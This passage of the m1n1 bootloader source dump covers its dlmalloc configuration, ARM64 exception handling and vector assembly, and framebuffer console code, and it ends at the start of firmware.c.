15:40:43 1993 Doug Lea (dl at g) * faster bin computation & slightly different binning * merged all consolidations to one part of malloc proper (eliminating old malloc_find_space & malloc_clean_bin) * Scan 2 returns chunks (not just 1) * Propagate failure in realloc if malloc returns 0 * Add stuff to allow compilation on non-ANSI compilers from kpv@research.att.com V2.5 Sat Aug 7 07:41:59 1993 Doug Lea (dl at g.oswego.edu) * removed potential for odd address access in prev_chunk * removed dependency on getpagesize.h * misc cosmetics and a bit more internal documentation * anticosmetics: mangled names in macros to evade debugger strangeness * tested on sparc, hp-700, dec-mips, rs6000 with gcc & native cc (hp, dec only) allowing Detlefs & Zorn comparison study (in SIGPLAN Notices.) Trial version Fri Aug 28 13:14:29 1992 Doug Lea (dl at g.oswego.edu) * Based loosely on libg++-1.2X malloc. (It retains some of the overall structure of old version, but most details differ.) */ m1n1-1.4.11/src/dlmalloc/malloc_config.h000066400000000000000000000020521453754430200177030ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include #include "../heapblock.h" #include "../utils.h" #define HAVE_MORECORE 1 #define HAVE_MMAP 0 #define MORECORE sbrk // This is optimal; dlmalloc copes with other users of sbrk/MORECORE gracefully, and heapblock // guarantees contiguous returns if called consecutively. #define MORECORE_CONTIGUOUS 1 #define MALLOC_ALIGNMENT 16 #define ABORT panic("dlmalloc: internal error\n") #define NO_MALLINFO 1 #define NO_MALLOC_STATS 1 #define malloc_getpagesize 16384 #define LACKS_FCNTL_H 1 #define LACKS_SYS_MMAN_H 1 #define LACKS_SYS_PARAM_H 1 #define LACKS_SYS_TYPES_H 1 #define LACKS_STRINGS_H 1 #define LACKS_STRING_H 1 #define LACKS_STDLIB_H 1 #define LACKS_SCHED_H 1 #define LACKS_TIME_H 1 #define LACKS_UNISTD_H 1 #define MALLOC_FAILURE_ACTION panic("dlmalloc: out of memory\n"); static void *sbrk(intptr_t inc) { if (inc < 0) return (void *)-1; return heapblock_alloc(inc); } m1n1-1.4.11/src/exception.c000066400000000000000000000264531453754430200153240ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "exception.h" #include "aic.h" #include "aic_regs.h" #include "cpu_regs.h" #include "gxf.h" #include "iodev.h" #include "memory.h" #include "uart.h" #include "utils.h" #define EL0_STACK_SIZE 0x4000 u8 el0_stack[EL0_STACK_SIZE] ALIGNED(64); void *el0_stack_base = (void *)(u64)(&el0_stack[EL0_STACK_SIZE]); extern char _vectors_start[0]; extern char _el1_vectors_start[0]; volatile enum exc_guard_t exc_guard = GUARD_OFF; volatile int exc_count = 0; void el0_ret(void); void el1_ret(void); static char *m_table[0x10] = { [0x00] = "EL0t", // [0x04] = "EL1t", // [0x05] = "EL1h", // [0x08] = "EL2t", // [0x09] = "EL2h", // }; static char *gl_m_table[0x10] = { [0x00] = "GL0t", // [0x04] = "GL1t", // [0x05] = "GL1h", // [0x08] = "GL2t", // [0x09] = "GL2h", // }; static char *ec_table[0x40] = { [0x00] = "unknown", [0x01] = "wf*", [0x03] = "c15 mcr/mrc", [0x04] = "c15 mcrr/mrrc", [0x05] = "c14 mcr/mrc", [0x06] = "ldc/stc", [0x07] = "FP off", [0x08] = "VMRS access", [0x09] = "PAC off", [0x0a] = "ld/st64b", [0x0c] = "c14 mrrc", [0x0d] = "branch target", [0x0e] = "illegal state", [0x11] = "svc in a32", [0x12] = "hvc in a32", [0x13] = "smc in a32", [0x15] = "svc in a64", [0x16] = "hvc in a64", [0x17] = "smc in a64", [0x18] = "other mcr/mrc/sys", [0x19] = "SVE off", [0x1a] = "eret", [0x1c] = "PAC failure", [0x20] = "instruction abort (lower)", [0x21] = "instruction abort (current)", [0x22] = "pc misaligned", [0x24] = "data abort (lower)", [0x25] = "data abort (current)", [0x26] = "sp misaligned", [0x28] = "FP exception (a32)", [0x2c] = "FP exception (a64)", [0x2f] = "SError", [0x30] = "BP (lower)", [0x31] = "BP (current)", [0x32] = "step (lower)", [0x33] = "step (current)", [0x34] = "watchpoint (lower)", [0x35] = "watchpoint (current)", [0x38] = "bkpt (a32)", [0x3a] = "vector catch (a32)", [0x3c] = "brk (a64)", }; static const char *get_exception_source(u64 spsr) { u64 aspsr = in_gl12() ? mrs(SYS_IMP_APL_ASPSR_GL1) : 0; const char *m_desc = NULL; if (aspsr & 1) m_desc = gl_m_table[spsr & 0xf]; else m_desc = m_table[spsr & 0xf]; if (!m_desc) m_desc = "?"; return m_desc; } static const char *get_exception_level(void) { u64 lvl = mrs(CurrentEL); if (in_gl12()) { if (lvl == 0x04) return "GL1"; else if (lvl == 0x08) return "GL2"; } else { if (lvl == 0x04) return "EL1"; else if (lvl == 0x08) return "EL2"; } return "?"; } void exception_initialize(void) { msr(VBAR_EL1, _vectors_start); // Clear FIQ sources msr(CNTP_CTL_EL0, 7L); msr(CNTV_CTL_EL0, 7L); if (in_el2()) { msr(CNTP_CTL_EL02, 7L); msr(CNTV_CTL_EL02, 7L); } reg_clr(SYS_IMP_APL_PMCR0, PMCR0_IACT | PMCR0_IMODE_MASK); reg_clr(SYS_IMP_APL_UPMCR0, UPMCR0_IMODE_MASK); msr(SYS_IMP_APL_IPI_SR_EL1, IPI_SR_PENDING); if (is_boot_cpu()) msr(DAIF, 0 << 6); // Enable SError, IRQ and FIQ else msr(DAIF, 3 << 6); // Disable IRQ and FIQ if (in_el2()) { // Set up a sane HCR_EL2 msr(HCR_EL2, (BIT(41) | // API BIT(40) | // APK BIT(37) | // TEA BIT(34) | // E2H BIT(31) | // RW BIT(27) | // TGE BIT(5) | // AMO BIT(4) | // IMO BIT(3)); // FMO ); // Set up exception forwarding from EL1 msr(VBAR_EL12, _el1_vectors_start); sysop("isb"); } } void exception_shutdown(void) { msr(DAIF, 7 << 6); // Disable SError, IRQ and FIQ } void print_regs(u64 *regs, int el12) { bool in_gl; u64 sp = ((u64)(regs)) + 256; in_gl = in_gl12(); u64 spsr = in_gl ? mrs(SYS_IMP_APL_SPSR_GL1) : (el12 ? mrs(SPSR_EL12) : mrs(SPSR_EL1)); printf("Exception taken from %s\n", get_exception_source(spsr)); printf("Running in %s\n", get_exception_level()); printf("MPIDR: 0x%lx\n", mrs(MPIDR_EL1)); printf("Registers: (@%p)\n", regs); printf(" x0-x3: %016lx %016lx %016lx %016lx\n", regs[0], regs[1], regs[2], regs[3]); printf(" x4-x7: %016lx %016lx %016lx %016lx\n", regs[4], regs[5], regs[6], regs[7]); printf(" x8-x11: %016lx %016lx %016lx %016lx\n", regs[8], regs[9], regs[10], regs[11]); printf("x12-x15: %016lx %016lx %016lx %016lx\n", regs[12], regs[13], regs[14], regs[15]); printf("x16-x19: %016lx %016lx %016lx %016lx\n", regs[16], regs[17], regs[18], regs[19]); printf("x20-x23: %016lx %016lx %016lx %016lx\n", regs[20], regs[21], regs[22], regs[23]); printf("x24-x27: %016lx %016lx %016lx %016lx\n", regs[24], regs[25], regs[26], regs[27]); printf("x28-x30: %016lx %016lx %016lx\n", regs[28], regs[29], regs[30]); u64 elr = in_gl ? mrs(SYS_IMP_APL_ELR_GL1) : (el12 ? mrs(ELR_EL12) : mrs(ELR_EL1)); u64 esr = in_gl ? mrs(SYS_IMP_APL_ESR_GL1) : (el12 ? mrs(ESR_EL12) : mrs(ESR_EL1)); u64 far = in_gl ? mrs(SYS_IMP_APL_FAR_GL1) : (el12 ? mrs(FAR_EL12) : mrs(FAR_EL1)); printf("PC: 0x%lx (rel: 0x%lx)\n", elr, elr - (u64)_base); printf("SP: 0x%lx\n", sp); printf("SPSR: 0x%lx\n", spsr); if (in_gl12()) { printf("ASPSR: 0x%lx\n", mrs(SYS_IMP_APL_ASPSR_GL1)); } printf("FAR: 0x%lx\n", far); const char *ec_desc = ec_table[(esr >> 26) & 0x3f]; printf("ESR: 0x%lx (%s)\n", esr, ec_desc ? ec_desc : "?"); u64 sts = mrs(SYS_IMP_APL_L2C_ERR_STS); printf("L2C_ERR_STS: 0x%lx\n", sts); printf("L2C_ERR_ADR: 0x%lx\n", mrs(SYS_IMP_APL_L2C_ERR_ADR)); printf("L2C_ERR_INF: 0x%lx\n", mrs(SYS_IMP_APL_L2C_ERR_INF)); msr(SYS_IMP_APL_L2C_ERR_STS, sts); if (is_ecore()) { printf("E_LSU_ERR_STS: 0x%lx\n", mrs(SYS_IMP_APL_E_LSU_ERR_STS)); printf("E_FED_ERR_STS: 0x%lx\n", mrs(SYS_IMP_APL_E_FED_ERR_STS)); printf("E_MMU_ERR_STS: 0x%lx\n", mrs(SYS_IMP_APL_E_MMU_ERR_STS)); } else { printf("LSU_ERR_STS: 0x%lx\n", mrs(SYS_IMP_APL_LSU_ERR_STS)); printf("FED_ERR_STS: 0x%lx\n", mrs(SYS_IMP_APL_FED_ERR_STS)); printf("MMU_ERR_STS: 0x%lx\n", mrs(SYS_IMP_APL_MMU_ERR_STS)); } } void exc_sync(u64 *regs) { u32 insn; int el12 = 0; bool in_gl = in_gl12(); u64 spsr = in_gl ? mrs(SYS_IMP_APL_SPSR_GL1) : mrs(SPSR_EL1); u64 esr = in_gl ? mrs(SYS_IMP_APL_ESR_GL1) : mrs(ESR_EL1); u64 elr = in_gl ? mrs(SYS_IMP_APL_ELR_GL1) : mrs(ELR_EL1); if ((spsr & 0xf) == 0 && ((esr >> 26) & 0x3f) == 0x3c) { // On clean EL0 return, let the normal exception return // path take us back to the return thunk. msr(SPSR_EL1, 0x09); // EL2h msr(ELR_EL1, el0_ret); return; } if (in_el2() && !in_gl12() && (spsr & 0xf) == 5 && ((esr >> 26) & 0x3f) == 0x16) { // Hypercall u32 imm = mrs(ESR_EL2) & 0xffff; switch (imm) { case 0: // On clean EL1 return, let the normal exception return // path take us back to the return thunk. msr(SPSR_EL2, 0x09); // EL2h msr(ELR_EL2, el1_ret); return; case 0x10 ... 0x1f: if (!(exc_guard & GUARD_SILENT)) printf("EL1 Exception: 0x%x\n", imm); // Short-circuit the hypercall and handle the EL1 exception el12 = 1; msr(SPSR_EL2, mrs(SPSR_EL12)); msr(ELR_EL2, mrs(ELR_EL12)); break; default: printf("Unknown HVC: 0x%x\n", imm); break; } } else { if (!(exc_guard & GUARD_SILENT)) printf("Exception: SYNC\n"); } sysop("isb"); sysop("dsb sy"); if (!(exc_guard & GUARD_SILENT)) print_regs(regs, el12); u64 l2c_err_sts = mrs(SYS_IMP_APL_L2C_ERR_STS); msr(SYS_IMP_APL_L2C_ERR_STS, l2c_err_sts); // Clear the L2C_ERR flag bits switch (exc_guard & GUARD_TYPE_MASK) { case GUARD_SKIP: elr += 4; break; case GUARD_MARK: // Assuming this is a load or store, dest reg is in low bits insn = read32(elr); regs[insn & 0x1f] = 0xacce5515abad1dea; elr += 4; break; case GUARD_RETURN: regs[0] = 0xacce5515abad1dea; elr = regs[30]; exc_guard = GUARD_OFF; break; case GUARD_OFF: default: printf("Unhandled exception, rebooting...\n"); flush_and_reboot(); } exc_count++; if (!(exc_guard & GUARD_SILENT)) printf("Recovering from exception (ELR=0x%lx)\n", elr); if (in_gl) msr(SYS_IMP_APL_ELR_GL1, elr); else msr(ELR_EL1, elr); sysop("isb"); sysop("dsb sy"); } void exc_irq(u64 *regs) { u64 spsr = in_gl12() ? mrs(SYS_IMP_APL_SPSR_GL1) : mrs(SPSR_EL1); u32 reason = aic_ack(); do { printf("Exception: IRQ (from %s) die: %lu type: %lu num: %lu mpidr: %lx cnt: %lx\n", get_exception_source(spsr), FIELD_GET(AIC_EVENT_DIE, reason), FIELD_GET(AIC_EVENT_TYPE, reason), FIELD_GET(AIC_EVENT_NUM, reason), mrs(MPIDR_EL1), mrs(CNTPCT_EL0)); reason = aic_ack(); } while (reason); UNUSED(regs); // print_regs(regs); } void exc_fiq(u64 *regs) { u64 spsr = in_gl12() ? mrs(SYS_IMP_APL_SPSR_GL1) : mrs(SPSR_EL1); printf("Exception: FIQ (from %s) cnt: %lx\n", get_exception_source(spsr), mrs(CNTPCT_EL0)); u64 reg = mrs(CNTP_CTL_EL0); if (reg == 0x5) { printf(" PHYS timer IRQ, masking\n"); msr(CNTP_CTL_EL0, 7L); } reg = mrs(CNTV_CTL_EL0); if (reg == 0x5) { printf(" VIRT timer IRQ, masking\n"); msr(CNTV_CTL_EL0, 7L); } if (in_el2()) { reg = mrs(CNTP_CTL_EL02); if (reg == 0x5) { printf(" PHYS EL02 timer IRQ, masking\n"); msr(CNTP_CTL_EL02, 7L); } reg = mrs(CNTV_CTL_EL02); if (reg == 0x5) { printf(" VIRT EL02 timer IRQ, masking\n"); msr(CNTV_CTL_EL02, 7L); } } reg = mrs(SYS_IMP_APL_PMCR0); if ((reg & (PMCR0_IMODE_MASK | PMCR0_IACT)) == (PMCR0_IMODE_FIQ | PMCR0_IACT)) { printf(" PMC IRQ, masking\n"); reg_clr(SYS_IMP_APL_PMCR0, PMCR0_IACT | PMCR0_IMODE_MASK); } reg = mrs(SYS_IMP_APL_UPMCR0); if ((reg & UPMCR0_IMODE_MASK) == UPMCR0_IMODE_FIQ && (mrs(SYS_IMP_APL_UPMSR) & UPMSR_IACT)) { printf(" UPMC IRQ, masking\n"); reg_clr(SYS_IMP_APL_UPMCR0, UPMCR0_IMODE_MASK); } if (mrs(SYS_IMP_APL_IPI_SR_EL1) & IPI_SR_PENDING) { printf(" Fast IPI IRQ, clearing\n"); msr(SYS_IMP_APL_IPI_SR_EL1, IPI_SR_PENDING); } UNUSED(regs); // print_regs(regs); } void exc_serr(u64 *regs) { if (!(exc_guard & GUARD_SILENT)) printf("Exception: SError\n"); sysop("dsb sy"); sysop("isb"); if (!(exc_guard & GUARD_SILENT)) print_regs(regs, 0); if ((exc_guard & GUARD_TYPE_MASK) == GUARD_OFF) { printf("Unhandled exception, rebooting...\n"); flush_and_reboot(); } exc_count++; sysop("dsb sy"); sysop("isb"); } m1n1-1.4.11/src/exception.h000066400000000000000000000021351453754430200153200ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __EXCEPTION_H__ #define __EXCEPTION_H__ #define SIZEOF_EXC_INFO (64 * 8) #ifndef __ASSEMBLER__ #include #include #include "types.h" enum exc_guard_t { GUARD_OFF = 0, GUARD_SKIP, GUARD_MARK, GUARD_RETURN, GUARD_TYPE_MASK = 0xff, GUARD_SILENT = 0x100, }; struct exc_info { u64 regs[32]; u64 spsr; u64 elr; u64 esr; u64 far; u64 afsr1; u64 sp[3]; u64 cpu_id; u64 mpidr; u64 elr_phys; u64 far_phys; u64 sp_phys; void *extra; }; static_assert(sizeof(struct exc_info) <= SIZEOF_EXC_INFO, "Please increase SIZEOF_EXC_INFO"); static_assert((sizeof(struct exc_info) & 15) == 0, "SIZEOF_EXC_INFO must be a multiple of 16"); extern volatile enum exc_guard_t exc_guard; extern volatile int exc_count; void exception_initialize(void); void exception_shutdown(void); void print_regs(u64 *regs, int el12); uint64_t el0_call(void *func, uint64_t a, uint64_t b, uint64_t c, uint64_t d); uint64_t el1_call(void *func, uint64_t a, uint64_t b, uint64_t c, uint64_t d); #endif #endif m1n1-1.4.11/src/exception_asm.S000066400000000000000000000073521453754430200161410ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "exception.h" #include "memory.h" .globl exc_sync .globl exc_irq .globl exc_fiq .globl exc_serr .globl _vectors_start .globl el0_stack .globl _v_sp0_sync .type _v_sp0_sync, @function _v_sp0_sync: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _exc_entry bl exc_sync b _exc_return .globl _v_sp0_irq .type _v_sp0_irq, @function _v_sp0_irq: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _exc_entry bl exc_irq b _exc_return .globl _v_sp0_fiq .type _v_sp0_fiq, @function _v_sp0_fiq: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _exc_entry bl exc_fiq b _exc_return .globl _v_sp0_serr .type _v_sp0_serr, @function _v_sp0_serr: msr pan, #0 sub sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) str x30, [sp, #-16]! bl _exc_entry bl exc_serr b _exc_return .globl _exc_entry .type _exc_entry, @function _exc_entry: stp x28, x29, [sp, #-16]! stp x26, x27, [sp, #-16]! stp x24, x25, [sp, #-16]! stp x22, x23, [sp, #-16]! stp x20, x21, [sp, #-16]! stp x18, x19, [sp, #-16]! stp x16, x17, [sp, #-16]! stp x14, x15, [sp, #-16]! stp x12, x13, [sp, #-16]! stp x10, x11, [sp, #-16]! stp x8, x9, [sp, #-16]! stp x6, x7, [sp, #-16]! stp x4, x5, [sp, #-16]! stp x2, x3, [sp, #-16]! stp x0, x1, [sp, #-16]! mov x0, sp ret .globl _exc_return .type _exc_return, @function _exc_return: ldp x0, x1, [sp], #16 ldp x2, x3, [sp], #16 ldp x4, x5, [sp], #16 ldp x6, x7, [sp], #16 ldp x8, x9, [sp], #16 ldp x10, x11, [sp], #16 ldp x12, x13, [sp], #16 ldp x14, x15, [sp], #16 ldp x16, x17, [sp], #16 ldr x18, [sp], #8 add sp, sp, #88 ldr x30, [sp], #16 add sp, sp, #(SIZEOF_EXC_INFO - 32 * 8) eret .globl el0_call .type el0_call, @function el0_call: str x30, [sp, #-16]! // Disable EL1 mrs x5, hcr_el2 orr x5, x5, #(1 << 27) msr hcr_el2, x5 isb mrs x5, daif msr daifclr, 3 msr spsr_el1, x5 ldr x5, =_el0_thunk msr elr_el1, x5 mov x5, #REGION_RWX_EL0 orr x0, x0, x5 ldr x5, =el0_stack_base ldr x5, [x5] mov x6, #REGION_RW_EL0 orr x5, x5, x6 msr spsel, #0 mov sp, x5 eret _el0_thunk: mov x5, x0 mov x0, x1 mov x1, x2 mov x2, x3 mov x3, x4 blr x5 brk 0 .long 0 .globl el0_ret .type el0_ret, @function el0_ret: ldr x30, [sp], #16 ret .globl el1_call .type el1_call, @function el1_call: str x30, [sp, #-16]! // Enable EL1, but only if not already done. // this check is here because writes to hcr_el2 are only possible from GL2 // if that mode has been enabled mrs x5, hcr_el2 bic x6, x5, #(1 << 27) cmp x5, x6 beq 1f msr hcr_el2, x6 isb 1: mrs x5, daif msr daifclr, 3 mov x6, #5 orr x5, x5, x6 // EL1h msr spsr_el2, x5 ldr x5, =_el1_thunk msr elr_el2, x5 ldr x5, =el0_stack_base ldr x5, [x5] msr sp_el1, x5 eret _el1_thunk: mov x5, x0 mov x0, x1 mov x1, x2 mov x2, x3 mov x3, x4 blr x5 hvc 0 .long 0 .globl el1_ret .type el1_ret, @function el1_ret: ldr x30, [sp], #16 ret .align 11 .globl _el1_vectors_start _el1_vectors_start: hvc 0x10 .align 7 hvc 0x11 .align 7 hvc 0x12 .align 7 hvc 0x13 .align 7 hvc 0x14 .align 7 hvc 0x15 .align 7 hvc 0x16 .align 7 hvc 0x17 .align 7 hvc 0x18 .align 7 hvc 0x19 .align 7 hvc 0x1a .align 7 hvc 0x1b .align 7 hvc 0x1c .align 7 hvc 0x1d .align 7 hvc 0x1e .align 7 hvc 0x1f m1n1-1.4.11/src/fb.c000066400000000000000000000244121453754430200137060ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "fb.h" #include "assert.h" #include "iodev.h" #include "malloc.h" #include "memory.h" #include "string.h" #include "types.h" #include "utils.h" #include "xnuboot.h" #define FB_DEPTH_MASK 0xff fb_t fb; struct image { u32 *ptr; u32 width; u32 height; }; static struct { struct { u8 *ptr; u32 width; u32 height; } font; struct { u32 row; u32 col; u32 max_row; u32 max_col; } cursor; struct { u32 rows; u32 cols; } margin; bool initialized; bool active; } console; extern u8 _binary_build_bootlogo_128_bin_start[]; extern u8 _binary_build_bootlogo_256_bin_start[]; extern u8 _binary_build_font_bin_start[]; extern u8 _binary_build_font_retina_bin_start[]; const struct image logo_128 = { .ptr = (void *)_binary_build_bootlogo_128_bin_start, .width = 128, .height = 128, }; const struct image logo_256 = { .ptr = (void *)_binary_build_bootlogo_256_bin_start, .width = 256, .height = 256, }; const struct image *logo; struct image orig_logo; void fb_update(void) { memcpy128(fb.hwptr, fb.ptr, fb.size); } static void fb_clear_font_row(u32 row) { const u32 row_size = (console.margin.cols + console.cursor.max_col) * console.font.width * 4; const u32 ystart = (console.margin.rows + row) * console.font.height * fb.stride; for (u32 y = 0; y < console.font.height; ++y) memset32(fb.ptr + ystart + y * fb.stride, 0, row_size); } static void fb_move_font_row(u32 dst, u32 src) { const u32 row_size = (console.margin.cols + console.cursor.max_col) * console.font.width * 4; u32 ysrc = (console.margin.rows + src) * console.font.height; u32 ydst = (console.margin.rows + dst) * console.font.height; ysrc *= fb.stride; ydst *= fb.stride; for (u32 y = 0; y < console.font.height; ++y) memcpy32(fb.ptr + ydst + y * fb.stride, fb.ptr + ysrc + y * fb.stride, row_size); fb_clear_font_row(src); } static inline u32 rgb2pixel_30(rgb_t c) { return (c.b << 2) | (c.g << 12) | (c.r << 22); } static inline rgb_t pixel2rgb_30(u32 c) { return (rgb_t){(c >> 22) & 0xff, (c >> 12) & 0xff, c >> 2}; } static inline void fb_set_pixel(u32 x, u32 y, rgb_t c) { fb.ptr[x + y * fb.stride] = rgb2pixel_30(c); } static inline rgb_t fb_get_pixel(u32 x, u32 y) { return pixel2rgb_30(fb.ptr[x + y * fb.stride]); } void fb_blit(u32 x, u32 y, u32 w, u32 h, void *data, u32 stride, pix_fmt_t pix_fmt) { u8 *p = data; for (u32 i = 0; i < h; i++) { for (u32 j = 0; j < w; j++) { rgb_t color; switch (pix_fmt) { default: case PIX_FMT_XRGB: color.r = p[(j + i * stride) * 4]; color.g = p[(j + i * stride) * 4 + 1]; color.b = p[(j + i * stride) * 4 + 2]; break; case PIX_FMT_XBGR: color.r = p[(j + i * stride) * 4 + 2]; color.g = p[(j + i * stride) * 4 + 1]; color.b = p[(j + i * stride) * 4]; break; } fb_set_pixel(x + j, y + i, color); } } fb_update(); } void fb_unblit(u32 x, u32 y, u32 w, u32 h, void *data, u32 stride) { u8 *p = data; for (u32 i = 0; i < h; i++) { for (u32 j = 0; j < w; j++) { rgb_t color = fb_get_pixel(x + j, y + i); p[(j + i * stride) * 4] = color.r; p[(j + i * stride) * 4 + 1] = color.g; p[(j + i * stride) * 4 + 2] = color.b; p[(j + i * stride) * 4 + 3] = 0xff; } } } void fb_fill(u32 x, u32 y, u32 w, u32 h, rgb_t color) { u32 c = rgb2pixel_30(color); for (u32 i = 0; i < h; i++) memset32(&fb.ptr[x + (y + i) * fb.stride], c, w * 4); fb_update(); } void fb_clear(rgb_t color) { u32 c = rgb2pixel_30(color); memset32(fb.ptr, c, fb.stride * fb.height * 4); fb_update(); } void fb_blit_image(u32 x, u32 y, const struct image *img) { fb_blit(x, y, img->width, img->height, img->ptr, img->width, PIX_FMT_XRGB); } void fb_unblit_image(u32 x, u32 y, struct image *img) { fb_unblit(x, y, img->width, img->height, img->ptr, img->width); } void fb_blit_logo(const struct image *logo) { fb_blit_image((fb.width - logo->width) / 2, (fb.height - logo->height) / 2, logo); } void fb_display_logo(void) { printf("fb: display logo\n"); fb_blit_logo(logo); } void fb_restore_logo(void) { if (!orig_logo.ptr) return; fb_blit_logo(&orig_logo); } void fb_improve_logo(void) { const u8 magic[] = "BY;iX2gK0b89P9P*Qa"; u8 *p = (void *)orig_logo.ptr; if (!p || p[orig_logo.width * (orig_logo.height + 1) * 2] <= 250) return; for (u32 i = 0; i < orig_logo.height; i++) { const u8 *c = &magic[min((max(i * 128 / orig_logo.height, 41) - 41) / 11, 5) * 3]; for (u32 j = 0; j < (orig_logo.width * 4); j++, p++) *p = (*p * (c[(j - (j >> 2)) % 3] - 42)) / 63; } } static inline rgb_t font_get_pixel(u8 c, u32 x, u32 y) { c -= 0x20; u8 v = console.font.ptr[c * console.font.width * console.font.height + y * console.font.width + x]; rgb_t col = {.r = v, .g = v, .b = v}; return col; } static void fb_putbyte(u8 c) { u32 x = (console.margin.cols + console.cursor.col) * console.font.width; u32 y = (console.margin.rows + console.cursor.row) * console.font.height; for (u32 i = 0; i < console.font.height; i++) for (u32 j = 0; j < console.font.width; j++) fb_set_pixel(x + j, y + i, font_get_pixel(c, j, i)); } static void fb_putchar(u8 c) { if (c == '\r') { console.cursor.col = 0; } else if (c == '\n') { console.cursor.row++; console.cursor.col = 0; } else if (c >= 0x20 && c < 0x7f) { fb_putbyte(c); console.cursor.col++; } else { fb_putbyte('?'); console.cursor.col++; } if (console.cursor.col == console.cursor.max_col) { console.cursor.row++; console.cursor.col = 0; } if (console.cursor.row == console.cursor.max_row) fb_console_scroll(1); } void fb_console_scroll(u32 n) { u32 row = 0; n = min(n, console.cursor.row); for (; row < console.cursor.max_row - n; ++row) fb_move_font_row(row, row + n); for (; row < console.cursor.max_row; ++row) fb_clear_font_row(row); console.cursor.row -= n; } void fb_console_reserve_lines(u32 n) { if ((console.cursor.max_row - console.cursor.row) <= n) fb_console_scroll(1 + n - (console.cursor.max_row - console.cursor.row)); fb_update(); } ssize_t fb_console_write(const char *bfr, size_t len) { ssize_t wrote = 0; if (!console.initialized || !console.active) return 0; while (len--) { fb_putchar(*bfr++); wrote++; } fb_update(); return wrote; } static bool fb_console_iodev_can_write(void *opaque) { UNUSED(opaque); return console.initialized && console.active; } static ssize_t fb_console_iodev_write(void *opaque, const void *buf, size_t len) { UNUSED(opaque); return fb_console_write(buf, len); } const struct iodev_ops iodev_fb_ops = { .can_write = fb_console_iodev_can_write, .write = fb_console_iodev_write, }; struct iodev iodev_fb = { .ops = &iodev_fb_ops, .usage = USAGE_CONSOLE, .lock = SPINLOCK_INIT, }; static void fb_clear_console(void) { for (u32 row = 0; row < console.cursor.max_row; ++row) fb_clear_font_row(row); console.cursor.col = 0; console.cursor.row = 0; fb_update(); } void fb_clear_direct(void) { size_t fb_size = cur_boot_args.video.stride * cur_boot_args.video.height; mmu_add_mapping(cur_boot_args.video.base, cur_boot_args.video.base, ALIGN_UP(fb_size, 0x4000), MAIR_IDX_NORMAL_NC, PERM_RW); memset64((void *)cur_boot_args.video.base, 0, fb_size); } void fb_init(bool clear) { fb.hwptr = (void *)cur_boot_args.video.base; fb.stride = cur_boot_args.video.stride / 4; fb.width = cur_boot_args.video.width; fb.height = cur_boot_args.video.height; fb.depth = cur_boot_args.video.depth & FB_DEPTH_MASK; fb.size = cur_boot_args.video.stride * cur_boot_args.video.height; printf("fb init: %dx%d (%d) [s=%d] @%p\n", fb.width, fb.height, fb.depth, fb.stride, fb.hwptr); mmu_add_mapping(cur_boot_args.video.base, cur_boot_args.video.base, ALIGN_UP(fb.size, 0x4000), MAIR_IDX_NORMAL_NC, PERM_RW); fb.ptr = malloc(fb.size); memcpy(fb.ptr, fb.hwptr, fb.size); if (cur_boot_args.video.depth & FB_DEPTH_FLAG_RETINA) { logo = &logo_256; console.font.ptr = _binary_build_font_retina_bin_start; console.font.width = 16; console.font.height = 32; } else { logo = &logo_128; console.font.ptr = _binary_build_font_bin_start; console.font.width = 8; console.font.height = 16; } if (!orig_logo.ptr) { orig_logo = *logo; orig_logo.ptr = malloc(orig_logo.width * orig_logo.height * 4); fb_unblit_image((fb.width - orig_logo.width) / 2, (fb.height - orig_logo.height) / 2, &orig_logo); } if (clear) memset32(fb.ptr, 0, fb.size); console.margin.rows = 2; console.margin.cols = 4; console.cursor.col = 0; console.cursor.row = 0; console.cursor.max_row = (fb.height / console.font.height) - 2 * console.margin.rows; console.cursor.max_col = ((fb.width - logo->width) / 2) / console.font.width - 2 * console.margin.cols; console.initialized = true; console.active = false; fb_clear_console(); printf("fb console: max rows %d, max cols %d\n", console.cursor.max_row, console.cursor.max_col); } void fb_set_active(bool active) { console.active = active; if (active) iodev_console_kick(); } void fb_shutdown(bool restore_logo) { if (!console.initialized) return; console.active = false; console.initialized = false; fb_clear_console(); if (restore_logo) { fb_restore_logo(); free(orig_logo.ptr); orig_logo.ptr = NULL; } free(fb.ptr); } void fb_reinit(void) { if (!console.initialized) return; fb_shutdown(false); fb_init(true); fb_display_logo(); } m1n1-1.4.11/src/fb.h000066400000000000000000000026261453754430200137160ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef FB_H #define FB_H #include "types.h" #define FB_DEPTH_FLAG_RETINA 0x10000 typedef struct { u32 *ptr; /* pointer to the start of the framebuffer */ u32 *hwptr; /* pointer to the start of the real framebuffer */ u32 stride; /* framebuffer stride divided by four (i.e. stride in pixels) */ u32 depth; /* framebuffer depth (i.e. bits per pixel) */ u32 width; /* width of the framebuffer in pixels */ u32 height; /* height of the framebuffer in pixels */ u32 size; /* size of the framebuffer in bytes */ } fb_t; typedef struct { u8 r; u8 g; u8 b; } rgb_t; typedef enum { PIX_FMT_XRGB, PIX_FMT_XBGR, } pix_fmt_t; extern fb_t fb; static inline rgb_t int2rgb(u32 c) { return (rgb_t){c >> 16, c >> 8, c}; } void fb_init(bool clear); void fb_shutdown(bool restore_logo); void fb_reinit(void); void fb_update(void); void fb_set_active(bool active); void fb_blit(u32 x, u32 y, u32 w, u32 h, void *data, u32 stride, pix_fmt_t format); void fb_unblit(u32 x, u32 y, u32 w, u32 h, void *data, u32 stride); void fb_fill(u32 x, u32 y, u32 w, u32 h, rgb_t color); void fb_clear(rgb_t color); void fb_clear_direct(void); void fb_display_logo(void); void fb_restore_logo(void); void fb_improve_logo(void); void fb_console_scroll(u32 n); void fb_console_reserve_lines(u32 n); ssize_t fb_console_write(const char *bfr, size_t len); #endif m1n1-1.4.11/src/firmware.c000066400000000000000000000073661453754430200151440ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "firmware.h" #include "adt.h" #include "string.h" #include "types.h" #include "utils.h" #include "libfdt/libfdt.h" #include "libfdt/libfdt_env.h" struct fw_version_info os_firmware; struct fw_version_info system_firmware; #define bail(...) \ do { \ 